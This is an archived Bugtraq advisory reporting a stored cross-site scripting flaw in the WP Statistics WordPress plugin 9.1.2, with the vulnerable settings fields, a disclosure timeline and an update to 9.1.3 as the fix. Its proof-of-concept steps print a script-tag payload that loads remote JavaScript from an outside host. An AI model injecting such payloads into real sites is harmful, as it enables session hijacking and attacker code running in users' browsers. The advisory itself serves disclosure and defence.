bugtraq - Wordpress WP Statistics persistent cross site scripting

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Date: Wed, 15 Apr 2015 02:25:52 GMT
From: kingkaustubh@...com
To: bugtraq@...urityfocus.com
Subject: Wordpress WP Statistics persistent cross site scripting

===========================================================
Stored XSS Vulnerability in WP Statistics  Wordpress Plugin 
===========================================================

. contents:: Table Of Content

Overview
========

* Title :Stored XSS Vulnerability in WP Statistics Wordpress Plugin 
* Author: Kaustubh G. Padwad
* Plugin Homepage: https://wordpress.org/plugins/wp-statistics/
* Severity: Medium
* Version Affected: 9.1.2 and mostly prior to it
* Version Tested : 9.1.2
* version patched: 9.1.3

Description 
===========

Vulnerable Parameter  
--------------------

*  Check for online users every:
*  Coefficient per visitor:

 	
About Vulnerability
-------------------
This plugin is vulnerable to a Stored cross site scripting vulnerability,This issue was exploited when administrator users with access to WP Statistics Setting in wordpress Above Vulbnerable parameter is vulnerable for stored XSS. A malicious administration can hijack other users session, take control of another administrator's browser or install malware on their computer.

Vulnerability Class
===================     
Cross Site Scripting (https://www.owasp.org/index.php/Top_10_2013-A3-Cross-Site_Scripting_(XSS) 

Steps to Reproduce: (POC)
=========================

After installing the plugin

* Goto settings --> WP Statistics
* Put This payload in any above vulnerable parameter <SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>
* Click on the Save Changes you will see XSS in action 
* Reload the page or re navigate to page to make sure its stored ;)

Mitigation 
==========
Update to 9.1.3

Change Log
==========
https://wordpress.org/plugins/wp-statistics/changelog/

Disclosure 
==========
14-April-2015 reported to developer
15-April-2015 Fix by developer
15-April-2015 Public Disclosure
credits
=======
* Kaustubh Padwad
* Information Security Researcher
* kingkaustubh@...com
* https://twitter.com/s3curityb3ast
* http://breakthesec.com
* https://www.linkedin.com/in/kaustubhpadwad